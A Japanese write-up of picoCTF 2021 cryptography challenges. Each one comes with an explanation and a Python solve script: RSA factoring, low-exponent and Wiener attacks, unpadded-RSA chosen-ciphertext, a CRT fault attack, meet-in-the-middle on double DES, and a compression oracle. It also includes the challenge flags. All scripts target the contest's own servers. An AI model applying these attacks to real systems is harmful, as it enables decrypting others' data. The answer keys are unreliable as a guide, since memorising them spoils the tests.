picoCTF 2021 Writeup
picoCTF 2021のWriteupです。
Satoooonさんとd4wnin9さんと共にPui-Pui-CTFerというチームで参加し、日本1位、世界11位という結果を残すことができました。
reversing問を多く解けたので非常に嬉しい。
Cryptography
Mod 26
問題文を見ると
Cryptography can be easy, do you know what ROT13 is? cvpbPGS{arkg_gvzr_V'yy_gel_2_ebhaqf_bs_ebg13_MAZyqFQj}
と書かれているので、cvpb...
という文字列をROT13で復号するとフラグが手に入ります。
picoCTF{next_time_I'll_try_2_rounds_of_rot13_ZNMldSDw}
Mind your Ps and Qs
RSAの公開鍵であるn, eと暗号化されたフラグcが手に入ります。
nが270bitとギリギリ素因数分解できそうな大きさなのでsageやら何やらで素因数分解してみるとn = 1899107986527483535344517113948531328331 * 674357869540600933870145899564746495319033
であることがわかります。
後はp, qからdを計算して復号してやるだけです。
# solve.py from Crypto.Util.number import * p = 1899107986527483535344517113948531328331 q = 674357869540600933870145899564746495319033 e = 65537 c = 62324783949134119159408816513334912534343517300880137691662780895409992760262021 n = p * q phi = (p - 1) * (q - 1) d = pow(e, -1, phi) print(long_to_bytes(pow(c, d, n)))
$ python solve.py b'picoCTF{sma11_N_n0_g0od_05012767}'
Easy Peasy
keyの周期がわかっているので周期 - フラグの長さ
だけ適当な文字列を送り1周させます。そして、暗号化されたフラグの長さ分だけ適当な平文を暗号化してもらい、得られた暗号文と平文でxorをとるとフラグの暗号化に使われたkeyを得られます。後は暗号化されたフラグとkeyでxorをとるとフラグが得られます。
# python solve.py from socklib import parse_nc_cmd import binascii KEY_LEN = 50000 with parse_nc_cmd("nc mercury.picoctf.net 64260") as s: s.recvline() s.recvline() enc_flag = binascii.unhexlify(s.recvline().rstrip()) s.recvline() # send data s.sendline(b"A" * (KEY_LEN - len(enc_flag))) s.recvline() s.recvline() s.recvline() s.sendline(b"A" * (len(enc_flag))) s.recvline() key_xor_A = binascii.unhexlify(s.recvline().rstrip()) key = [k ^ 0x41 for k in key_xor_A] #print(key) flag = "" for k, e in zip(key, enc_flag): flag += chr(k ^ e) print("picoCTF{" + flag + "}")
$ python solve.py picoCTF{3a16944dad432717ccc3945d3d96421a}
New Caesar
keyが16種類しかないので総当りで求められます。
# solve.py import string LOWERCASE_OFFSET = ord("a") ALPHABET = string.ascii_lowercase[:16] def b16_decode(encoded): assert len(encoded) % 2 == 0 dec = "" for i in range(len(encoded) // 2): e = encoded[i*2:i*2+2] high = ALPHABET.find(e[0]) low = ALPHABET.find(e[1]) dec += chr(int("0b{:04b}{:04b}".format(high, low), 2)) return dec def inv_shift(c, k): t1 = ord(c) - LOWERCASE_OFFSET t2 = ord(k) - LOWERCASE_OFFSET return ALPHABET[(t1 - t2) % len(ALPHABET)] flag = "mlnklfnknljflfmhjimkmhjhmljhjomhmmjkjpmmjmjkjpjojgjmjpjojojnjojmmkmlmijimhjmmj" for alpha in ALPHABET: tmp_dec = "" for f in flag: tmp_dec += inv_shift(f, alpha) tmp_dec = b16_decode(tmp_dec) if all(c in string.printable for c in tmp_dec): print(tmp_dec)
$ python solve.py et_tu?_a2da1e18af49f649806988786deb2a6c TcNcd.NP!SP T 'PU#(U%#('/%(''&'%STQ!P%R
一番上のet_tu?_a2da1e18af49f649806988786deb2a6c
をpicoCTF{}
で包んだものがフラグです。
Mini RSA
eが非常に小さい数なのでLow Public-Exponent Attack
で平文を求められます。
# solve.py from Crypto.Util.number import * import gmpy2 N = 1615765684321463054078226051959887884233678317734892901740763321135213636796075462401950274602405095138589898087428337758445013281488966866073355710771864671726991918706558071231266976427184673800225254531695928541272546385146495736420261815693810544589811104967829354461491178200126099661909654163542661541699404839644035177445092988952614918424317082380174383819025585076206641993479326576180793544321194357018916215113009742654408597083724508169216182008449693917227497813165444372201517541788989925461711067825681947947471001390843774746442699739386923285801022685451221261010798837646928092277556198145662924691803032880040492762442561497760689933601781401617086600593482127465655390841361154025890679757514060456103104199255917164678161972735858939464790960448345988941481499050248673128656508055285037090026439683847266536283160142071643015434813473463469733112182328678706702116054036618277506997666534567846763938692335069955755244438415377933440029498378955355877502743215305768814857864433151287 e = 3 c = 1220012318588871886132524757898884422174534558055593713309088304910273991073554732659977133980685370899257850121970812405700793710546674062154237544840177616746805668666317481140872605653768484867292138139949076102907399831998827567645230986345455915692863094364797526497302082734955903755050638155202890599808146956044568639690002921620304969196755223769438221859424275683828638207433071955615349052424040706261639770492033970498727183446507482899334169592311953247661557664109356372049286283480939368007035616954029177541731719684026988849403756133033533171081378815289443019437298879607294287249591634702823432448559878065453908423094452047188125358790554039587941488937855941604809869090304206028751113018999782990033393577325766685647733181521675994939066814158759362046052998582186178682593597175186539419118605277037256659707217066953121398700583644564201414551200278389319378027058801216150663695102005048597466358061508725332471930736629781191567057009302022382219283560795941554288119544255055962 i = 1 while True: m, ok = gmpy2.iroot(c + i * N, e) if ok: break i += 1 print(long_to_bytes(m))
$ python solve.py b' picoCTF{e_sh0u1d_b3_lArg3r_6e2e6bda}'
参考: https://ctf-wiki.org/crypto/asymmetric/rsa/rsa_e_attack/
Dachshund Attacks
mercury.picoctf.net 36463
に接続すると暗号化したフラグとn, eが与えられます。
$ nc mercury.picoctf.net 36463 Welcome to my RSA challenge! e: 7437420319448252274990541905923360055448609936867522618724611031223092671289039902546797844168860963868882257843332585967790520599808066802637301334840708876231856123324244218137532317601858090202352976878504968465769234001487878747032821161698728842125897716816838814390845892134918038855626672399748672047 n: 57216839047090881023719767779616966353988353330412043948131115061193125179046670353474954648789743249624506726832408057445071292883567571239736015100275265395422388093349421957767770637080686756989689960010154535943734205135492121513552586865504097742068696945354563991824122412899702617936677983838271949583 c: 25667912083980108164545926647993202095350419862347035030837541309901172111074697365111859105127401566968136742431037559459774784989789906107833008822066085373967487773380142749978215858622590377223132666376203476251625692353037376919304439309062393768737299183184656208457032420005091164376843059239987240015
eが非常に大きな値となっているため秘密鍵であるdは相対的に小さな値だと推測できます。そのためWiener's Attack
でdを求める事ができ、フラグを復号することができます。
# solve.py from Crypto.Util.number import * import owiener e = 7437420319448252274990541905923360055448609936867522618724611031223092671289039902546797844168860963868882257843332585967790520599808066802637301334840708876231856123324244218137532317601858090202352976878504968465769234001487878747032821161698728842125897716816838814390845892134918038855626672399748672047 n = 57216839047090881023719767779616966353988353330412043948131115061193125179046670353474954648789743249624506726832408057445071292883567571239736015100275265395422388093349421957767770637080686756989689960010154535943734205135492121513552586865504097742068696945354563991824122412899702617936677983838271949583 c = 25667912083980108164545926647993202095350419862347035030837541309901172111074697365111859105127401566968136742431037559459774784989789906107833008822066085373967487773380142749978215858622590377223132666376203476251625692353037376919304439309062393768737299183184656208457032420005091164376843059239987240015 d = owiener.attack(e, n) if d: print(long_to_bytes(pow(c, d, n)))
$ python solve.py b'picoCTF{proving_wiener_2635457}'
No Padding, No Problem
フラグを暗号化した値以外の任意の値を復号してくれるので、とを復号してもらって掛け合わせると以下のように平文が求まります。
\begin{eqnarray} 2^{-d} \cdot (2c)^{d} &=& c^{d} \ mod \ n \\ &=& m \end{eqnarray}
# solve.py from socklib import parse_nc_cmd from Crypto.Util.number import long_to_bytes def decrypt(c): s.recvuntil(b"Give me ciphertext to decrypt: ") s.sendline(str(c)) return int(s.recvline().rstrip()[len("Here you go: "):]) with parse_nc_cmd("nc mercury.picoctf.net 42248") as s: s.recvuntil(b"n: ") n = int(s.recvline().rstrip()) s.recvuntil(b"e: ") e = int(s.recvline().rstrip()) s.recvuntil(b"ciphertext: ") c = int(s.recvline().rstrip()) c1 = (2 * c) % n c2 = pow(2, -1, n) m1 = decrypt(c1) m2 = decrypt(c2) print(long_to_bytes((m1 * m2) % n))
$ python solve.py b'picoCTF{m4yb3_Th0se_m3s54g3s_4r3_difurrent_7416022}'
It's Not My Fault 1
を求めるためにCRTを使っています。mercury.picoctf.net 27379
に接続するとPoWがあり、それを超えるととが渡されます。それらの値からを求めて送るとフラグを手に入れることができます。制限時間があり15分以内に求めなければなりません。
「It's Not My Fault 1」という問題名だったので、「RSA fault attack」みたいな感じのことをgoogleで調べているとこの論文が見つかりました。この論文の1.1と1.2に書かれている式が問題となんか似ていると思ってローカルでいろいろ試していると以下のような感じでからを求めることができました。は適当な値です。
\begin{align} S_p = m^{d_p} \ mod \ N \\ p = gcd({S_p}^{e} - m, N) \\ \end{align}
は通りしかないので15分以内に総当りできます。
import gmpy2 import string import random import itertools import hashlib import time from socklib import parse_nc_cmd def find_p(e, n): BITS = 20 # 適当な値 m = random.randint(2, n // 2) t = time.time() # pを求める for i in range(1, 1 << BITS): if i % (1048576 // 20) == 0: print(f"[+] progress: {i/1048576*100}%") p = gmpy2.gcd((gmpy2.powmod(m, i*e, n) - m) % n, n) if p != 1: print("[+] done!") print(f"[+] elapsed time: {time.time() - t}s") return p print("[-] oops... I couldn't find p") return -1 with parse_nc_cmd("nc mercury.picoctf.net 27379") as sock: # PoW s = sock.recvline().decode().split() start = s[6][1:-1] end = s[-1] print("start:", start, "end:", end) chars = string.ascii_letters + string.digits + "!{}_()/." for i in range(20): for c in itertools.product(chars, repeat=i): ans = (start + ''.join(c)).encode() m = hashlib.md5(ans).hexdigest()[-6:] if m == end: break else: continue break print(ans.decode()) sock.sendline(ans.decode()) print(sock.recvuntil("Public Modulus : ")) n = int(sock.recvline().strip()) print(n) print(sock.recvuntil("Clue : ")) e = int(sock.recvline().strip()) print(e) p = find_p(e, n) print(p) if p != -1: q = n // p print("found! :)") print("p+q:", p+q) sock.sendline(str(p+q)) print(sock.recvline()) print(sock.recvline()) print(sock.recvline()) else: print("sorry :(")
何回か実行するとフラグが手に入りました。
$ python solve.py start: 27812 end: 7ea654 27812zff2 b'Public Modulus : ' 146141959571796619184580323263238082762735627180417137502900618064846402838600006091928743503099897691438979201849389667364406567564209333438245311171648497478841603869828410444086250621022013791651250529162358213252068152727059835621053300450977337607437057823171675892171842371135234774910916121594623312287 b'Clue : ' 145911849523323551691273476488567052913626758222467702971817757208889516253090534930268256571616129614843207042193678117224250056416984150215525869255610048215501801235881946635457555322802597714448624942355212564203995669091304209559054111097825953157794899726260007315238905241723231125239175118169015627871 [+] done! [+] elapsed time: 33.74832630157471s 13274242098760249682587335617607866413324033479405205962338854549928397772347362733029828768171581093445574322876694518561825653896319238088364956963635969 found! :) p+q: 24283681167635268525640794472417793191848599926475979459708104810987817153859629820379240666419644946548268941164379960296059012617926257242171592663000992 b"picoCTF{1_c4n'7_b3l13v3_17'5_n07_f4ul7_4774ck!!!}\n"
Play Nice
playfair.pyというソースファイルが与えられます。また、mercury.picoctf.net 30568
に接続するとPlayfair暗号で暗号化されたフラグが渡されます。
playfair.pyに暗号化処理が実装されているので、それを参考にしてwikipediaを見ながら適当に復号処理を実装するとフラグが手に入りました。
from socklib import parse_nc_cmd SQUARE_SIZE = 6 def generate_square(alphabet): assert len(alphabet) == pow(SQUARE_SIZE, 2) matrix = [] for i, letter in enumerate(alphabet): if i % SQUARE_SIZE == 0: row = [] row.append(letter) if i % SQUARE_SIZE == (SQUARE_SIZE - 1): matrix.append(row) return matrix def get_index(letter, matrix): for row in range(SQUARE_SIZE): for col in range(SQUARE_SIZE): if matrix[row][col] == letter: return (row, col) print("letter not found in matrix.") exit() def decrypt_pair(pair, matrix): p1 = get_index(pair[0], matrix) p2 = get_index(pair[1], matrix) if p1[0] == p2[0]: return matrix[p1[0]][(p1[1] - 1) % SQUARE_SIZE] + matrix[p2[0]][(p2[1] - 1) % SQUARE_SIZE] elif p1[1] == p2[1]: return matrix[(p1[0] - 1) % SQUARE_SIZE][p1[1]] + matrix[(p2[0] - 1) % SQUARE_SIZE][p2[1]] else: return matrix[p1[0]][p2[1]] + matrix[p2[0]][p1[1]] def decrypt_string(s, matrix): assert len(s) % 2 == 0 result = "" for i in range(0, len(s), 2): result += decrypt_pair(s[i:i+2], matrix) return result with parse_nc_cmd("nc mercury.picoctf.net 30568") as s: s.recvuntil(": ") alphabet = s.recvline().rstrip().decode() s.recvuntil(": ") msg = s.recvline().rstrip().decode() matrix = generate_square(alphabet) dec_msg = decrypt_string(msg, matrix) s.recvuntil("What is the plaintext message? ") s.sendline(dec_msg) s.recvuntil("Congratulations! Here's the flag: ") flag = s.recvline().rstrip().decode() print("flag:", flag)
$ python solve.py flag: 007d0a696aaad7fb5ec21c7698e4f754
Double DES
mercury.picoctf.net 33425
に接続すると暗号化されたフラグが手に入ります。その後何か適当に平文を与えると、DES方式で2度暗号化した暗号文が手に入ります。
鍵の候補はですが、DESに使われる鍵は2つあるため総当りでは求められません。
Double DESってTriple DESに響きが似ているなと思い、Triple DESについて調べているとmeet-in-the-middle attackという攻撃手法が見つかりました。これを使って鍵を求めます。
平文を、鍵をとすると以下の式が成り立ちます。
\begin{eqnarray} c &=& Enc(Enc(m, key_1), key_2) \\ Dec(c, key_2) &=& Dec(Enc(Enc(m, key_1), key_2), key_2) \\ Dec(c, key_2) &=& Enc(m, key_1) \\ \end{eqnarray}
上の式より、が成り立つのペアを見つければ、を復号できることがわかります。
#!/usr/bin/python3 -u from Crypto.Cipher import DES from Crypto.Util.number import * from itertools import product from socklib import parse_nc_cmd import binascii import itertools import random import string KEY_LENGTH = 6 def pad(msg): block_len = 8 over = len(msg) % block_len pad = block_len - over return (msg + " " * pad).encode() def generate_key(): return pad("".join(random.choice(string.digits) for _ in range(KEY_LENGTH))) def get_input(): try: res = binascii.unhexlify(input("What data would you like to encrypt? ").rstrip()).decode() except: res = None return res def double_encrypt(sock, m): sock.recvuntil("What data would you like to encrypt? ") sock.sendline(m) enc = sock.recvline().rstrip() return binascii.unhexlify(enc) with parse_nc_cmd("nc mercury.picoctf.net 33425") as s: s.recvline() flag = binascii.unhexlify(s.recvline().rstrip()) enc_A = double_encrypt(s, "41" * 8) enc_A = enc_A[:8] print("[+] enc_A: {}".format(enc_A)) # https://en.wikipedia.org/wiki/Meet-in-the-middle_attack subcipher = {} for i, key in enumerate(product(string.digits, repeat=KEY_LENGTH)): if (i + 1) % 50000 == 0: print(f"[+] subkey 1: {((i+1)/10**6)*100}%") tmp_key = pad("".join(key)) cipher = DES.new(tmp_key, DES.MODE_ECB) enc = cipher.encrypt(b"AAAAAAAA") subcipher[enc] = tmp_key print("[+] subkey 1 complete!") key_pair = set() for i, key in enumerate(product(string.digits, repeat=KEY_LENGTH)): if (i + 1) % 50000 == 0: print(f"[+] subkey 2: {((i+1)/10**6)*100}%") tmp_key = pad("".join(key)) cipher = DES.new(tmp_key, DES.MODE_ECB) dec = cipher.decrypt(enc_A) sub = subcipher.get(dec) if sub: key_pair.add((sub, tmp_key)) print("[+] subkey 2 complete!") for k1, k2 in key_pair: cipher1 = DES.new(k1, DES.MODE_ECB) cipher2 = DES.new(k2, DES.MODE_ECB) dec_2 = cipher2.decrypt(flag) dec_1 = cipher1.decrypt(dec_2) print(dec_1.rstrip())
$ python solve.py [+] enc_A: b'\xef\xaf\x97\x1f\xaa(L\xdb' [+] subkey 1: 5.0% [+] subkey 1: 10.0% [+] subkey 1: 15.0% [+] subkey 1: 20.0% [+] subkey 1: 25.0% [+] subkey 1: 30.0% [+] subkey 1: 35.0% [+] subkey 1: 40.0% [+] subkey 1: 45.0% [+] subkey 1: 50.0% [+] subkey 1: 55.00000000000001% [+] subkey 1: 60.0% [+] subkey 1: 65.0% [+] subkey 1: 70.0% [+] subkey 1: 75.0% [+] subkey 1: 80.0% [+] subkey 1: 85.0% [+] subkey 1: 90.0% [+] subkey 1: 95.0% [+] subkey 1: 100.0% [+] subkey 1 complete! [+] subkey 2: 5.0% [+] subkey 2: 10.0% [+] subkey 2: 15.0% [+] subkey 2: 20.0% [+] subkey 2: 25.0% [+] subkey 2: 30.0% [+] subkey 2: 35.0% [+] subkey 2: 40.0% [+] subkey 2: 45.0% [+] subkey 2: 50.0% [+] subkey 2: 55.00000000000001% [+] subkey 2: 60.0% [+] subkey 2: 65.0% [+] subkey 2: 70.0% [+] subkey 2: 75.0% [+] subkey 2: 80.0% [+] subkey 2: 85.0% [+] subkey 2: 90.0% [+] subkey 2: 95.0% [+] subkey 2: 100.0% [+] subkey 2 complete! b'af5fa5d565081bac320f42feaf69b405' ... b'af5fa5d565081bac320f42feaf69b405'
The flag is not in standard format
とあるのでaf5fa5d565081bac320f42feaf69b405
がフラグになります。
Compress and Attack
任意の文字列を送ることができ、フラグの後ろに送った文字列を追加したもの圧縮し暗号化したものを得ることができます。暗号化する前に平文を圧縮している点に注目します。
まず、フラグをpicoCTF{hogehoge}
だと仮定します。ここでpicoCTF{a
、picoCTF{b
、picoCTF{h
の3つの文字列をフラグの後ろに追加し圧縮すると以下のようになります。
>>> import zlib >>> FLAG = b"picoCTF{hogehoge}" >>> a = zlib.compress(FLAG + b"picoCTF{a") >>> b = zlib.compress(FLAG + b"picoCTF{b") >>> c = zlib.compress(FLAG + b"picoCTF{h") >>> len(a) 26 >>> len(b) 26 >>> len(c) 25
picoCTF{h
を圧縮したものの長さが25であることに対して残りの2つの長さは26となっています。ここから、フラグと一致する部分が多いほど圧縮率が高くなり、データが短くなると推測できます。これを利用すると総当りで1文字ずつフラグを特定することができます。
# solve.py from socklib import parse_nc_cmd import string def compress_and_encrypt(sock, text): sock.recvuntil("Enter your text to be encrypted: ") sock.sendline(text) sock.recvline() sock.recvline() return int(sock.recvline().rstrip()) with parse_nc_cmd("nc mercury.picoctf.net 33976") as s: flag_cand = "picoCTF{" while True: cand = () for c in (string.ascii_letters + "_}"): tmp_flag = flag_cand + c length = compress_and_encrypt(s, tmp_flag * 1) if not cand: cand = (c, length) if cand[1] > length: cand = (c, length) print(flag_cand + c, length, cand) print(f"\nfound candidate: {cand}") flag_cand += cand[0] if cand[0] == "}": break print(flag_cand)
$ python solve.py python solve.py picoCTF{a 49 ('a', 49) picoCTF{b 49 ('a', 49) picoCTF{c 49 ('a', 49) ... found candidate: ('}', 48) picoCTF{sheriff_you_solved_the_crime}
Scrambled RSA
mercury.picoctf.net 47987
に接続するとフラグを暗号化したものだと考えられる値とn, eが得られます。また、任意の文字列を暗号化することができます。
nの値に比べてフラグの値がとても大きいという不思議なことが起こっています。そこで、試しに適当な文字列を暗号化してもらい、どんな特徴があるのか考えます。
$ nc mercury.picoctf.net 47987 flag: 27712828221077230806997584148553541659367258963369828259994779356476404345742347820959256363115965049022500818322214939353772037881245999080566560981933133306491634178220361587915102881935897146558760171172567228766560353968233194356612656258701617969973928766585663707804121255155181178425886160265357131159453188603016611573953174075509753927362602077855247727643448473670365318452055382334262644740113673746523436714532949668854323545336821050606392034688473158951296266892270362498167510014673981203744539567740080247073141674398592704404866572978027047041578423565031177926200186607280437527790692508547201667231156733094749389428175488610019166576031271302868317030684446447124122200592107294369876287166414070290975543463072950874453721019766300167867551603536912643534954337799206397593897576607471557691589976332179157201938000586083569962797061276879574579988329000429955824755895679105701640110087977282985074097588222161994859397406136894043667638844627654658292028860612986381584913116938250971816639839997084139200378607388431245059996365604862507293936165368652217770181949531397142159619792581784156117971903451768630614886260645022701245367374751768152481421256266383579179135083390647207665599143493948353091543052735848830202217948478545672938592279476865145057865566779420538907908670651012236446637810815663616919840079302900081115898117977904408111449154279264270807486027133288342652101543467670680217001365049132588647641167983510023352841021574453929865537148489949481523001953883986038277797949428817948085161567881362365756357083524709902669837542336644181643019735546460806404677707072018088091549455783248044976510069034125649724470786000275882629041484416354806641382530974148050034013722267491123614879435017964388524723026076034152780973014543214199302751900093261789881842305974317466424650331031910268395910730548109769674816517369908617408509269473381613939451454957719373696134386129976776318319365034306193831522391036913274490985898412483783094927175574084653076080765734828942140174708084804022025498343796066262624396472155771764340649289162117311314352966341688992590964676511937492464349159839618467446206745892624604831825100783689369568542447120632717311863231381079501893838345707236550895896772751350384174070635479557593917142778975454272295124729624098055226179476136949883456370106276587946944710718102390704625054177118575291746654767540025095736713508947966288877799346617358540115154884641957797869397933327310021022707381694694416561679293512531880790782173631240262844010163288508233583028218115110933275103029553383199517013786738217101114800393837033643395003568423110442952200558285349179933647455104571993364711131137542547778476916173609608684546829567932041363312809040631500217872318878077802127212213151110096981115161219598482509475163416053252282195169748030692757176747289685379290463199942170396176090656323474570528407849553763144106183633823452084359011867468520918531735696653415022150695892575467103308946798868078707411379881946730140852963737084932116751347583769428856375530963352331872517568950303813717897912043046976298016062220440925374188910414226374647109752158320067099501641653272654526100850604853942209566279052020384765374009815441617578986577173115859922883938412512132952653400291671652220540991003546650066219442114665206485230795529199617370484777250443121518305279277824912361407417500519478345434222323942703174801987895628647481030026086413195867474389576645955078967242602887969888280169699536720587504700734043397211149901322728763035000041514425798681357602715881938278124969848921065553973334814624016812376724528505977181244931416509508783628922981896359376825649659721318658909444444661829706054477319646634907312859930567822969791238055554358805719873942748454459700344202782970618485188688754774540430559268182850315537525498771926118138642633390820899675040774449066674450049492672321331665527032091733213105768424252379687321961330016325112867279304717632596901731813339739004497651918383786329830967443855410891347218797221566082762622680807649665891211151453630630784606112110450584825151306745174072146595466349933815514120655711394286246508411287924595689570329557368457128002070123347469385447346889870962619515860618538350020692163198600560761904862408547682902426787907026120604338021337249405703084526521699956046068105895547970808511002638784423941201131961336517393464716405458669087961466440943180853606374916385062503582725665625859943669345416858988593938935944683268175615710377019708220716500736504578045928551268654955366126201436041682899139378543448212198082378519522612663300938361931502137207220047586213053436842065652027633898979168581684526829062188212050215560145350597947861710098240657261787453057229856066391715066898435550280902097220047615575224599080659479516846392252350342864308439180542560230133261614355953247781876053408650867860012311586444925009428946833948431107534017842138505199769015848557583843061705112773210203249007331411268444356621635485793683881135909692652949611062468486941914368718253170956522332548643625056540095244911102944734328772731877775301285382383179946854002247910649042117011112119130791500278445355073436904375648857013923998138388023029893923762075111684951526164941155536267450581255482957652359094198508314699716146991945491328364819374643234442192047060639913592914549113576305618938605607426356703253949006698901620084224210470490651607819508085628647739927486533253760050865378374791332738957642375407737675393559069126768566773829757373477115307516420429978297009226543331131113613145445338536814590577703145302050209708645743161244651047520553596152225046462345681950597656784724287676847662128964583312309569563242565742869389543045669119477860820405459471470748255221373435883498982929915078994205352919083280969489227471241305063590359559421914170733847201414047274312506757356729347423221981014308526562285310015423014036861912298513151724111584918781808316355052268463520196917073392743007393045560586784814573009120778740153253910527421341246660401883614090744550881858923764151692152590263960882611557362509091911827961959559221986524372108623799450983352538507459836370818322104930759735727732767102428121727348160425654099579672779993372794441583817969787518891400323442966803589240941541003181497084416885424517724495238056867331820629300795911839245794202768837573421409695377631353110919712419009426675557866140401112113332373528062673463905875236787141246036639871330049457710511218071878439256928860399554520902312502643276479956448337110824521473292176410719349536051387508225730262600344188819696486882400882098334540121327177169906942261499782134461365050818710369421868606305336262424676544300169503020881409954882302746525666978508771012190571796562888927913663115573977899459090423922911012733185517438696064916510654388729650892108003627041359253612940110965967131940882830596349021830950235626531850304269410153114945213946220480000574901829235859292766393160768277509797235056780638979837593313168737335437145511206685629952663225770743846789214342829650857981066038368985673527144735214747153130025769656626516058611173973628930555319539130817685160453548470426228392565777634720245481488449848316029050173244589074722956597360020094950689091826765881777143424614481761915843715660144097720490178762263545769171280909203407265719880124216134754528006546133247141975296846530129576426623163541179031962203416724632530103882573324332015623636427536299478372552161404801637263381404431956093574226959419824662591520916940272719082588280419511950558494513945661500838259349922438855482977425977091966452171420424583139441332643561133943129194470174353084676796644721543488177922021154589522377747098417902876114127549020102104627730560376012086136629870304461363884350540778780564090244923426233146899388163989747574068409206943114588466204565298856428538611684099230998180586068273371542151993695484506278667215347066814447340732062812343105719667532364259311635541163873467731070473221927188747039132221942180879287 n: 113491632484518090091336543596784123270561676696666071384566480902164824756567480758350941907546324701133062532339021188284191508970295068395228174673076319702499395200561767877698291017840956966474307150236161387990996434586127034090502792039435271853566801396283187093436302112104521376830064559716218688401 e: 65537 I will encrypt whatever you give me: a Here you go: 46798895334693840091794835001160532416686708388879653934218525507319772044314411772964942931898209979377699687862441389954657524372104054716282443386231841355324772035639583226678756617341698827891313123612781220704620048675289731640242648784405825044073411691609253812130931490975910732069177699680604739413 I will encrypt whatever you give me: aa Here you go: 1552156076965828047540149946046789583061977135612132861026318719336229092350627491381215303285000800235429638468571515203237528263382810074197414740728991779303110596623988913732731578167400453121636447002418405034882808902517139360575207389567103630418993497578319835814742598505039497836013117263225786881546798895334693840091794835001160532416686708388879653934218525507319772044314411772964942931898209979377699687862441389954657524372104054716282443386231841355324772035639583226678756617341698827891313123612781220704620048675289731640242648784405825044073411691609253812130931490975910732069177699680604739413 I will encrypt whatever you give me: aaa Here you go: 1063267893767234429322081426512844918079569873836284739657702910178179165098021325056337175153090068343546463379970597849682719986590544606517460396659751323299210864023806255602198354292257635202354942726624723552824108197792015277232093167864122458791609720484405997976569120321775940024793917316860609795221552156076965828047540149946046789583061977135612132861026318719336229092350627491381215303285000800235429638468571515203237528263382810074197414740728991779303110596623988913732731578167400453121636447002418405034882808902517139360575207389567103630418993497578319835814742598505039497836013117263225786881546798895334693840091794835001160532416686708388879653934218525507319772044314411772964942931898209979377699687862441389954657524372104054716282443386231841355324772035639583226678756617341698827891313123612781220704620048675289731640242648784405825044073411691609253812130931490975910732069177699680604739413
aaを暗号化したものに着目すると、aaを暗号化したものの中にaを暗号化したものが含まれていることがわかります。aaをaを暗号化したものの部分をx
とそうでない部分をy
とすると以下のようになっています。
x = 46798895334693840091794835001160532416686708388879653934218525507319772044314411772964942931898209979377699687862441389954657524372104054716282443386231841355324772035639583226678756617341698827891313123612781220704620048675289731640242648784405825044073411691609253812130931490975910732069177699680604739413 y = 15521560769658280475401499460467895830619771356121328610263187193362290923506274913812153032850008002354296384685715152032375282633828100741974147407289917793031105966239889137327315781674004531216364470024184050348828089025171393605752073895671036304189934975783198358147425985050394978360131172632257868815
さらにaaaを暗号化したものに着目すると、その中に上のx
とy
が含まれていることがわかります。
上の例からaaaという平文を与えられた時、a,aa,aaaをそれぞれ暗号化し順番をバラバラにした後に結合したものが、得られる暗号文なのではないかと推測できます。このことから、総当たりで1文字ずつフラグを特定できそうだと思い、実際に総当りしてみるとフラグが得られました。
from socklib import parse_nc_cmd from collections import defaultdict import string CAND_CHARS = "_}" + string.ascii_letters + string.digits def encrypt(sock, msg): sock.recvuntil("I will encrypt whatever you give me: ") sock.sendline(msg) sock.recvuntil("Here you go: ") return sock.recvline().rstrip() with parse_nc_cmd("nc mercury.picoctf.net 47987") as s: s.recvuntil("flag: ") flag = s.recvline().rstrip() s.recvuntil("n: ") n = s.recvline().rstrip() s.recvuntil("e: ") e = s.recvline().rstrip() known_flag = "picoCTF{" known_list = [] print("[+] gather data") for i in range(1, len(known_flag) + 1): tmp = known_flag[:i] enc = encrypt(s, tmp) if i != 1: for kl in known_list: enc = enc.replace(kl, b"") known_list.append(enc) print("[+] ok!") print("[+] start bruteforce 💪") while True: for prog, cand in enumerate(CAND_CHARS): payload = known_flag + cand enc = encrypt(s, payload) for kl in known_list: enc = enc.replace(kl, b"") if flag.find(enc) != -1: known_flag = payload known_list.append(enc) break if cand == "}": break else: print(f"[+] found char: {cand}") print(f"[+] current flag: {known_flag}") print(f"[+] finish bruteforce 👍") print(f"[+] flag: {known_flag}")
$ python solve.py [+] gather data [+] ok! [+] start bruteforce 💪 [+] found char: b [+] current flag: picoCTF{b [+] found char: a [+] current flag: picoCTF{ba [+] found char: d [+] current flag: picoCTF{bad ... [+] found char: 2 [+] current flag: picoCTF{bad_1d3a5_7571572 [+] finish bruteforce 👍 [+] flag: picoCTF{bad_1d3a5_7571572}
New Vigenere
New CaesarのVigenere暗号バージョンです。鍵長が1~15文字になっています。
暗号文を復号した後にb16decodeして得られる文字がabcdef0123456789
の内のどれかでなくてはならないので、この条件に一致するような鍵の候補を総当りで求めると解けました。bruteforce 💪
# solve.py import string import time LOWERCASE_OFFSET = ord("a") ALPHABET = string.ascii_lowercase[:16] def b16_decode(encoded): assert len(encoded) % 2 == 0 dec = "" for i in range(len(encoded) // 2): e = encoded[i*2:i*2+2] high = ALPHABET.find(e[0]) low = ALPHABET.find(e[1]) dec += chr(int("0b{:04b}{:04b}".format(high, low), 2)) return dec def inv_shift(c, k): t1 = ord(c) - LOWERCASE_OFFSET t2 = ord(k) - LOWERCASE_OFFSET return ALPHABET[(t1 - t2) % len(ALPHABET)] c = "bkglibgkhghkijphhhejggikgjkbhefgpienefjdioghhchffhmmhhbjgclpjfkp" print("[+] start find cand1") t = time.time() key_cand = [] cand = [] for i in range(0, 16): for j in range(0, 16): a = inv_shift(c[0], chr(0x61 + i)) b = inv_shift(c[1], chr(0x61 + j)) decoded = b16_decode(a+b) if decoded[0] in "abcdef0123456789": cand.append(chr(0x61+i)+chr(0x61+j)) key_cand.append(cand) print("[+] finish find cand1") print(f"[+] elapsed: {time.time() - t}") for i in range(4): print(f"[+] start find cand{i + 2}") t = time.time() cand = [] for idx in range(len(key_cand[i])): for j in range(0, 16): for k in range(0, 16): a = inv_shift(c[(i+1)*2], chr(0x61 + j)) b = inv_shift(c[(i+1)*2+1], chr(0x61 + k)) decoded = b16_decode(a+b) if decoded[0] in "abcdef0123456789": cand.append(key_cand[i][idx] + chr(0x61+j)+chr(0x61+k)) key_cand.append(cand) print(f"[+] finish find cand{i + 2}") print(f"[+] elapsed: {time.time() - t}") for kcand in key_cand: for key in kcand: dec1, dec2 = "", "" key_odd = key[:-1] for i in range(len(c)): dec1 += inv_shift(c[i], key[i % len(key)]) dec2 += inv_shift(c[i], key_odd[i % len(key_odd)]) dec1 = b16_decode(dec1) dec2 = b16_decode(dec2) if all([c in "abcdef0123456789" for c in dec1]): print(f"key: {key}\ndecrypted: {dec1}") exit() if all([c in "abcdef0123456789" for c in dec2]): print(f"key: {key_odd}\ndecrypted: {dec2}") exit()
